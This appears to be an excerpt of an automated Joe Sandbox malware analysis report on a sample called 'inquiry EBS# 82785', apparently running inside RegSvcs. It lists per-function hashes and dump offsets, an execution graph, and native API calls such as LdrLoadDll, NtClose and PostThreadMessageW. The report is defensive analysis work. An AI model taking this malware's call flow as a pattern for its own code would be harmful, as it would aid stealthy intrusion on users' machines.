                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: e26b3b693c3fa3a092213b46d9974f97095fdf38ae2968b16eb170a88f8efb51
                                                          • Instruction ID: 4243ceffdd30f352615e2fe6667d750750fc4abca0ae9b7f9b7c733986b7bd1f
                                                          • Opcode Fuzzy Hash: e26b3b693c3fa3a092213b46d9974f97095fdf38ae2968b16eb170a88f8efb51
                                                          • Instruction Fuzzy Hash: 0601B675D00609DFCB40EFACC54589DBBF4FF49210B1185AAE859EB321E770AA44CF91
                                                          Function 04D8EE81 Relevance: .0, Instructions: 32COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 5097c33f61cf9c255d85fa678c256c7d538bb0f373ec053deb3a942b2c326848
                                                          • Instruction ID: 2a9b9a27716f4ed474a67456c762eb8be6f832087a3778dc8c3c8ae9e0a0cb9b
                                                          • Opcode Fuzzy Hash: 5097c33f61cf9c255d85fa678c256c7d538bb0f373ec053deb3a942b2c326848
                                                          • Instruction Fuzzy Hash: A1E0D833A2202867CB049A78F86B6ECBB71EB88221F008436F555EB750CA34181BC780
                                                          Function 04D8FE0C Relevance: .0, Instructions: 30COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 7fcccee78a413d4e24b9e44a464cda028930f086a7164f20eb854dfdfd7d2ea7
                                                          • Instruction ID: 5be00d2941ef13452f156feb736ac65178caaee366258a71d13d37bf51fa6774
                                                          • Opcode Fuzzy Hash: 7fcccee78a413d4e24b9e44a464cda028930f086a7164f20eb854dfdfd7d2ea7
                                                          • Instruction Fuzzy Hash: 6EF01732600105CFEB10BF68E449BB833A4FB4431AF51406ED105A72A1DB79E985DB61
                                                          Function 04D88BC0 Relevance: .0, Instructions: 28COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: fd08f394c14bb39539b016a2137ff26f3b9819747f98fea03945f6aedea8dd7f
                                                          • Instruction ID: aded7554cf44070c343af8b26bf67444df531a7af5a5faee9daa7ec88fc8be3d
                                                          • Opcode Fuzzy Hash: fd08f394c14bb39539b016a2137ff26f3b9819747f98fea03945f6aedea8dd7f
                                                          • Instruction Fuzzy Hash: B8F0BC342006108FC718EB28D598C597BE6EF4AB1971285A9E11ACB332CBB2EC40CB80
                                                          Function 04D84E38 Relevance: .0, Instructions: 27COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 0acd98f9b7825e2d7ced7c0204f5fc0c2f224888ef1388c4380cdbbdf22023db
                                                          • Instruction ID: af6f4c8efeef7a41bfc0edea9edb9626aa7e5cd9a5e836bcb4cc6f2890d5ce54
                                                          • Opcode Fuzzy Hash: 0acd98f9b7825e2d7ced7c0204f5fc0c2f224888ef1388c4380cdbbdf22023db
                                                          • Instruction Fuzzy Hash: 6DE04F72B001182FA714EEBA8C409AFBAEEDBC4594B10C07EA908D3300FE30AD4143A1
                                                          Function 04D8E015 Relevance: .0, Instructions: 26COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 4c283be52a0df342526c4a98d9cc1d3d770bc160608bb6efab70ed063c87046e
                                                          • Instruction ID: 439977cef286fd147712a10434190d2c100a1be0ee3b86b8bc8a5f2f76f99946
                                                          • Opcode Fuzzy Hash: 4c283be52a0df342526c4a98d9cc1d3d770bc160608bb6efab70ed063c87046e
                                                          • Instruction Fuzzy Hash: 1EF0F870F002098FEB14AFB5D4147AE7BA2EF84311F14882DC012E6681DF799841CFA5
                                                          Function 04D8D788 Relevance: .0, Instructions: 25COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 2c18571b2b02771873cb0769ee3921f188fc8044ee6fd64bd45f6e771bfc23cb
                                                          • Instruction ID: 267d8afe2863080c0be3f3418aeb98e1e92b9201df340b2bc256ce3aaa8ccaab
                                                          • Opcode Fuzzy Hash: 2c18571b2b02771873cb0769ee3921f188fc8044ee6fd64bd45f6e771bfc23cb
                                                          • Instruction Fuzzy Hash: 3EE092362001586FCB019A4AE800EAE7BDAEFC8221B04841AFA49C7251CA75A81197A1
                                                          Function 04D864F1 Relevance: .0, Instructions: 24COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 0e2641e7a149608a9548268a2fc4b8bfcb1bc1142b3c67c27415496a9af92ef2
                                                          • Instruction ID: 889f17b2727d090b849e628879f64c494d3223521a62021f6b89de8e2a0504d6
                                                          • Opcode Fuzzy Hash: 0e2641e7a149608a9548268a2fc4b8bfcb1bc1142b3c67c27415496a9af92ef2
                                                          • Instruction Fuzzy Hash: ECE086347197008FC318DB1CE4908A57BE6AF9931131586EEF049CB7B2DA10FC074740
                                                          Function 04D83988 Relevance: .0, Instructions: 24COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 093c9fe5e5407ce795e96045b145573b44443492cc0bf5952eb079d8f01c9ea1
                                                          • Instruction ID: e44edd2156ab4b6ec532b83cbb55a2bb1836fde375e26e18c30fd08892eb3e38
                                                          • Opcode Fuzzy Hash: 093c9fe5e5407ce795e96045b145573b44443492cc0bf5952eb079d8f01c9ea1
                                                          • Instruction Fuzzy Hash: 9DF0ED34A00348EFC742EFA0E41052C7FF6EB4620072082EAE844E7216DB322F14CB20
                                                          Function 04D89610 Relevance: .0, Instructions: 20COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 3c326a05326b793f684da161273bbd3824c5910ffd9dd983fb8295f106ed0ef7
                                                          • Instruction ID: dc18bfecc400fbf315b4002be6a203cec04533d6b5de466ae588f66ec819663a
                                                          • Opcode Fuzzy Hash: 3c326a05326b793f684da161273bbd3824c5910ffd9dd983fb8295f106ed0ef7
                                                          • Instruction Fuzzy Hash: D4D05B7424B3428FD71527A1A4675B17B61AD5520571650CDD4C9CE553E2115803B611
                                                          Function 04D8FDD0 Relevance: .0, Instructions: 20COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: e2c9b8083c94bf976920b30f0aee5eb86b20ca0495a12b8a4a0a6de4c13c43aa
                                                          • Instruction ID: 2cdb658a07e67441b2cdedbe1e8c9c2749f16d48c22652ad52393f1ef5b218b0
                                                          • Opcode Fuzzy Hash: e2c9b8083c94bf976920b30f0aee5eb86b20ca0495a12b8a4a0a6de4c13c43aa
                                                          • Instruction Fuzzy Hash: 5AE01A316001158FDB10AF68E448BE833B5FB44316F4140A9E005EB2A1CF34A985CB10
                                                          Function 04D86500 Relevance: .0, Instructions: 19COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 7c7d6539a52ac9afc303421877dbdcea4510ddc3d03807f78f23ea2ac169c302
                                                          • Instruction ID: 5e519ed1dd25355e32dca7c60be603f73007e9d8d70ce4ca8b0b4190d0ef36c9
                                                          • Opcode Fuzzy Hash: 7c7d6539a52ac9afc303421877dbdcea4510ddc3d03807f78f23ea2ac169c302
                                                          • Instruction Fuzzy Hash: 7AD05E303107149FC728DF1CE880C5AB7EEAF8832132486ADF009C7760DA60FC054784
                                                          Function 04D83998 Relevance: .0, Instructions: 19COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 2f98a2182a9847ecda084a466d9f166f3984bdbc9a5ebeda67cbb75bcb55c588
                                                          • Instruction ID: fe6bd4369f59d6f31a61ccb4676ad7317813b734b1f5cd4a63601ee9ee4f8f71
                                                          • Opcode Fuzzy Hash: 2f98a2182a9847ecda084a466d9f166f3984bdbc9a5ebeda67cbb75bcb55c588
                                                          • Instruction Fuzzy Hash: F1E0BF79A00209EFC740FFA5E54185DBBF9EB452117208599E805A7704EB726E10DB55
                                                          Function 04D89620 Relevance: .0, Instructions: 16COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 0b736be3184a8f23c0af2ca75ec2347f52cf49050c8e5420d6a21a15f85336fe
                                                          • Instruction ID: a29616ad8e1f7e73d6ab8fa2d960e46358611aa204d40122c9c6453fd01a5a29
                                                          • Opcode Fuzzy Hash: 0b736be3184a8f23c0af2ca75ec2347f52cf49050c8e5420d6a21a15f85336fe
                                                          • Instruction Fuzzy Hash: 58D0127035120B87DB186BE5A476B3577ACAF44B05F0400ACF48EC5501EB66F841F911
                                                          Function 04D8FB31 Relevance: .0, Instructions: 11COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 1fa1d736b8afb41db2bc6f4688376cbfa393ab5f302c128f7723c99deee74329
                                                          • Instruction ID: 1f3e4a0456321b04cba504a924fd40f4b7c699329f4af441af19f45a8ddbebec
                                                          • Opcode Fuzzy Hash: 1fa1d736b8afb41db2bc6f4688376cbfa393ab5f302c128f7723c99deee74329
                                                          • Instruction Fuzzy Hash: 29C0928680AF840BE313813498D31DA2F20E4926087DA98EED0C28B4B3A40892078682

                                                          Non-executed Functions

                                                          Function 00E4DAEC Relevance: .3, Instructions: 264COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1271963295.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_e40000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 8a71a46468db37143f7574cc9126b22cbba07d89b1fb8a3542f2c667f4dd628b
                                                          • Instruction ID: dbb9b39c0b1f41d226bdd7868da40ce87b3db5fe3f0e3a6525a658a404450b9b
                                                          • Opcode Fuzzy Hash: 8a71a46468db37143f7574cc9126b22cbba07d89b1fb8a3542f2c667f4dd628b
                                                          • Instruction Fuzzy Hash: 27A14832E002098FCF05DFB5E88059EB7B2FF85704B2595AAE805BB265DB35E956CB40

                                                          Execution Graph

                                                          Execution Coverage:1.2%
                                                          Dynamic/Decrypted Code Coverage:5.1%
                                                          Signature Coverage:8.8%
                                                          Total number of Nodes:136
                                                          Total number of Limit Nodes:10
                                                          execution_graph 95566 423f03 95567 423f1f 95566->95567 95568 423f47 95567->95568 95569 423f5b 95567->95569 95570 42b0f3 NtClose 95568->95570 95576 42b0f3 95569->95576 95572 423f50 95570->95572 95573 423f64 95579 42d103 RtlAllocateHeap 95573->95579 95575 423f6f 95577 42b110 95576->95577 95578 42b121 NtClose 95577->95578 95578->95573 95579->95575 95580 42a723 95581 42a73d 95580->95581 95584 1512df0 LdrInitializeThunk 95581->95584 95582 42a765 95584->95582 95585 42e0c3 95586 42e0d3 95585->95586 95587 42e0d9 95585->95587 95590 42d0c3 95587->95590 95589 42e0ff 95593 42b403 95590->95593 95592 42d0de 95592->95589 95594 42b420 95593->95594 95595 42b431 RtlAllocateHeap 95594->95595 95595->95592 95699 1512b60 LdrInitializeThunk 95700 424293 95704 4242a2 95700->95704 95701 4242e6 95702 42cfe3 RtlFreeHeap 95701->95702 95703 4242f6 95702->95703 95704->95701 95705 424324 95704->95705 95707 424329 95704->95707 95706 42cfe3 RtlFreeHeap 95705->95706 95706->95707 95708 413b53 95709 413b6d 95708->95709 95714 417523 95709->95714 95711 413b8b 95712 413bd0 95711->95712 95713 413bbf PostThreadMessageW 95711->95713 95713->95712 95716 417547 95714->95716 95715 41754e 95715->95711 95716->95715 95717 417583 LdrLoadDll 95716->95717 95718 41759a 95716->95718 95717->95718 95718->95711 95719 41ab93 95720 41abd7 95719->95720 95721 41abf8 95720->95721 95722 42b0f3 NtClose 95720->95722 95722->95721 95723 41dcb3 95724 41dcd9 95723->95724 95728 41ddc7 95724->95728 95729 42e1f3 95724->95729 95726 41dd6b 95727 42a773 LdrInitializeThunk 95726->95727 95726->95728 95727->95728 95730 42e163 95729->95730 95731 42d0c3 RtlAllocateHeap 95730->95731 95732 42e1c0 95730->95732 95733 42e19d 95731->95733 95732->95726 95734 42cfe3 RtlFreeHeap 95733->95734 95734->95732 95596 413be5 95597 413bef 95596->95597 95598 413b8f 95596->95598 95599 413bbf PostThreadMessageW 95598->95599 95600 413bd0 95598->95600 95599->95600 95601 418728 95602 42b0f3 NtClose 95601->95602 95603 418732 95602->95603 95604 401b8d 95605 401ba2 95604->95605 95608 42e583 95605->95608 95611 42cbd3 95608->95611 95612 42cbf9 95611->95612 95623 4073a3 95612->95623 95614 42cc0f 95622 401c77 95614->95622 95626 41a9a3 95614->95626 95616 42cc2e 95617 42cc43 95616->95617 95641 42b4a3 95616->95641 95637 4271b3 95617->95637 95620 42cc52 95621 42b4a3 ExitProcess 95620->95621 95621->95622 95644 416253 95623->95644 95625 4073b0 95625->95614 95627 41a9ac 95626->95627 95668 41a893 95627->95668 95630 41aa14 95633 41aa30 95630->95633 95635 42b0f3 NtClose 95630->95635 95631 41a9fc 95632 41aa07 95631->95632 95634 42b0f3 NtClose 95631->95634 95632->95616 95633->95616 95634->95632 95636 41aa26 95635->95636 95636->95616 95638 42720d 95637->95638 95640 42721a 95638->95640 95679 418073 95638->95679 95640->95620 95642 42b4bd 95641->95642 95643 42b4ce ExitProcess 95642->95643 95643->95617 95645 41626a 95644->95645 95647 416283 95645->95647 95648 42bb43 95645->95648 95647->95625 95650 42bb5b 95648->95650 95649 42bb7f 95649->95647 95650->95649 95655 42a773 95650->95655 95656 42a790 95655->95656 95662 1512c0a 95656->95662 95657 42a7bc 95659 42cfe3 95657->95659 95665 42b453 95659->95665 95661 42bbed 95661->95647 95663 1512c11 95662->95663 95664 1512c1f LdrInitializeThunk 95662->95664 95663->95657 95664->95657 95666 42b470 95665->95666 95667 42b481 RtlFreeHeap 95666->95667 95667->95661 95669 41a8ad 95668->95669 95673 41a989 95668->95673 95674 42a813 95669->95674 95672 42b0f3 NtClose 95672->95673 95673->95630 95673->95631 95675 42a830 95674->95675 95678 15135c0 LdrInitializeThunk 95675->95678 95676 41a97d 95676->95672 95678->95676 95680 41809d 95679->95680 95686 41850b 95680->95686 95687 413c83 95680->95687 95682 4181aa 95683 42cfe3 RtlFreeHeap 95682->95683 95682->95686 95684 4181c2 95683->95684 95685 42b4a3 ExitProcess 95684->95685 95684->95686 95685->95686 95686->95640 95689 413ca2 95687->95689 95688 413dc0 95688->95682 95689->95688 95691 4136d3 95689->95691 95692 4136f5 95691->95692 95694 42b363 95691->95694 95692->95688 95695 42b37d 95694->95695 95698 1512c70 LdrInitializeThunk 95695->95698 95696 42b3a5 95696->95692 95698->95696

                                                          Executed Functions

                                                          Function 00417523 Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 83 417523-41754c call 42dce3 86 417552-417560 call 42e203 83->86 87 41754e-417551 83->87 90 417570-417573 86->90 91 417562-41756d call 42e4a3 86->91 92 417579-417581 90->92 93 417574 call 42c6a3 90->93 91->90 95 417583-417597 LdrLoadDll 92->95 96 41759a-41759d 92->96 93->92 95->96
                                                          APIs
                                                          • LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00417595
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1435453576.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_400000_RegSvcs.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: Load
                                                          • String ID:
                                                          • API String ID: 2234796835-0
                                                          • Opcode ID: ebd3c5d2265a916cd2496e5eef1ce8dc7d6870324b8f3176294337ca5bb7e159
                                                          • Instruction ID: 399187071c993cb04f974c4b82c9c1467ff556cb8c9591840e06e9f09a4d662e
                                                          • Opcode Fuzzy Hash: ebd3c5d2265a916cd2496e5eef1ce8dc7d6870324b8f3176294337ca5bb7e159
                                                          • Instruction Fuzzy Hash: FD015EB5E0020DBBDF10DBA5DC42FDEB3B8AB14308F0041AAE90897240F634EB54CBA5
                                                          Function 0042B0F3 Relevance: 1.5, APIs: 1, Instructions: 25nativeCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 115 42b0f3-42b12f call 404903 call 42c1a3 NtClose
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1435453576.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_400000_RegSvcs.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: Close
                                                          • String ID:
                                                          • API String ID: 3535843008-0
                                                          • Opcode ID: a2081207709746c7e352efcb175eb21aecfb5cd68ea452dc6470ae81de21367b
                                                          • Instruction ID: f205a8d1b253b6613bbb6d0b4e02974edd6a6ea983018656418df51455db1a49
                                                          • Opcode Fuzzy Hash: a2081207709746c7e352efcb175eb21aecfb5cd68ea452dc6470ae81de21367b
                                                          • Instruction Fuzzy Hash: 81E04F752102147BD220BA5ADC41FABB75DEBC9754F40441AFA0967141C670BA1086A5
                                                          Function 01512B60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 134 1512b60-1512b6c LdrInitializeThunk
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: e387755376a784b68fdc7a6ea670e5b6dc14e94db05f839ef27a5f08da7a75d4
                                                          • Instruction ID: 49507d41a2c41417013409a2b8a43c7e2630286e3e28e15953ecad8202877881
                                                          • Opcode Fuzzy Hash: e387755376a784b68fdc7a6ea670e5b6dc14e94db05f839ef27a5f08da7a75d4
                                                          • Instruction Fuzzy Hash: 4490026320241003410571984415616408AA7E1211B59C421E1014994DCA6589916225
                                                          Function 01512DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: 4d4f2e63c09b76b3fecae46bd644940179ec32dc42b9a9070fe70391bab6b7c5
                                                          • Instruction ID: d0e498f4c4ed81dab651dbdcd76e70d8c6c27462aae41ed5873ea9d73c9e549b
                                                          • Opcode Fuzzy Hash: 4d4f2e63c09b76b3fecae46bd644940179ec32dc42b9a9070fe70391bab6b7c5
                                                          • Instruction Fuzzy Hash: 6190023320141413D111719845057070089A7D1251F99C812E042495CDDB968A52A221
                                                          Function 01512C70 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: 58fef2394b12cbdb2de877cc1da80abace641805ab6a15542c8f1b140ac7e306
                                                          • Instruction ID: 5d50df8cbbee2b2bda7aba468b2dc41503c7f9fb2553242b7c26a2e61193905f
                                                          • Opcode Fuzzy Hash: 58fef2394b12cbdb2de877cc1da80abace641805ab6a15542c8f1b140ac7e306
                                                          • Instruction Fuzzy Hash: 1A90023320149802D1107198840574A0085A7D1311F5DC811E4424A5CDCBD589917221
                                                          Function 015135C0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: f68158959e1618102f68221b5d6e42e58eb3dfc90dea200d8e2e4ced8788f920
                                                          • Instruction ID: a99eb259b985fbca9ff4af18ac9811caae9022af6ffa0c0908f25582513d86bf
                                                          • Opcode Fuzzy Hash: f68158959e1618102f68221b5d6e42e58eb3dfc90dea200d8e2e4ced8788f920
                                                          • Instruction Fuzzy Hash: 7B90023360551402D100719845157061085A7D1211F69C811E042496CDCBD58A5166A2
                                                          Function 00413A58 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1435453576.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_400000_RegSvcs.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID: n200C853$n200C853
                                                          • API String ID: 0-480195095
                                                          • Opcode ID: df4ff3dc9d9c79166aa8628e14905350bdb77e488f134a42cd84f23ed10a24ce
                                                          • Instruction ID: 22cb0148b5edc6271574c251de8edfd22e57ace6dfaa6a6e44d9898718c30c67
                                                          • Opcode Fuzzy Hash: df4ff3dc9d9c79166aa8628e14905350bdb77e488f134a42cd84f23ed10a24ce
                                                          • Instruction Fuzzy Hash: 53319B73A05118ABDB018B78DC41DEFBBB8EF81245F4444AAE904AF602D2399E0287E5
                                                          Function 00413BE5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 65threadwindowCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 18 413be5-413bed 19 413b8f-413b90 18->19 20 413bef-413bf9 18->20 21 413b97-413bbd call 424393 19->21 22 413b92 call 404873 19->22 24 413bfb-413bff 20->24 30 413bdd-413be3 21->30 31 413bbf-413bce PostThreadMessageW 21->31 22->21 26 413c01-413c06 24->26 27 413c1d-413c23 24->27 26->27 29 413c08-413c0d 26->29 27->24 32 413c25-413c28 27->32 29->27 33 413c0f-413c16 29->33 31->30 34 413bd0-413bda 31->34 35 413c29-413c2c 33->35 36 413c18-413c1b 33->36 34->30 36->27 36->35
                                                          APIs
                                                          • PostThreadMessageW.USER32(n200C853,00000111,00000000,00000000), ref: 00413BCA
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1435453576.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_400000_RegSvcs.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: MessagePostThread
                                                          • String ID: n200C853$n200C853
                                                          • API String ID: 1836367815-480195095
                                                          • Opcode ID: 3aaa1ce76d9e6c14a4963afbc129f489f453f6c8633d1ede826133f25f2e149c
                                                          • Instruction ID: f2c76f97a9b81aea67f4ad0b392aabbc296633a702b631524033e4c499856c70
                                                          • Opcode Fuzzy Hash: 3aaa1ce76d9e6c14a4963afbc129f489f453f6c8633d1ede826133f25f2e149c
                                                          • Instruction Fuzzy Hash: 03117A72D0424C39DB20AEB40C81CFB7B6C8E45675B0586AEE91497392E3398E818798
                                                          Function 00413B4E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 61threadwindowCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 37 413b4e-413b72 call 42d083 40 413b78-413bbd call 417523 call 404873 call 424393 37->40 41 413b73 call 42da93 37->41 48 413bdd-413be3 40->48 49 413bbf-413bce PostThreadMessageW 40->49 41->40 49->48 50 413bd0-413bda 49->50 50->48
                                                          APIs
                                                          • PostThreadMessageW.USER32(n200C853,00000111,00000000,00000000), ref: 00413BCA
                                                          Strings
                                                          Memory Dump Source
